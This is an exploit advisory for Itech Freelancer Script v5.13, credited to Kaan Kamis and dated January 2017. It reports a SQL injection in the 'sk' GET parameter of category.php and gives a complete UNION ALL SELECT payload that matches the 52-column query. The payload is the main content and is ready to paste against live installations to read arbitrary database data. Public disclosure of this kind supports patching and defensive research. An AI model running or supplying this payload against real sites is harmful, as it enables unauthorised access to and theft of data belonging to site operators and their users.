Itech Freelancer Script 5.13 - SQL Injection

Exploit Title: Itech Freelancer Script v5.13 – SQL Injection
Date: 30.01.2017
Vendor Homepage: http://itechscripts.com/
Software Link: http://itechscripts.com/freelancer-script/
Exploit Author: Kaan KAMIS
Contact: iletisim[at]k2an[dot]com
Website: http://k2an.com
Category: Web Application Exploits

Overview

Itech Freelancer Script v5.13 is the best reverse auction script available online. Just install the product to launch your website within minutes. Please try the product now.

Type of vulnerability:

An SQL Injection vulnerability in Itech Freelancer Script v5.13 allows attackers to read
arbitrary data from the database.

Vulnerability:

URL : http://localhost/category.php?sk=4[payload]

Parameter: sk (GET)
Type: UNION query
Title: Generic UNION query (NULL) - 52 columns
Payload: sk=1') UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x7162787871,0x4c4d424a4d6549554b5878684e494a4464767161454a6d757a47454c697a4e4470544c46426e4765,0x71716b7071),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- rbbL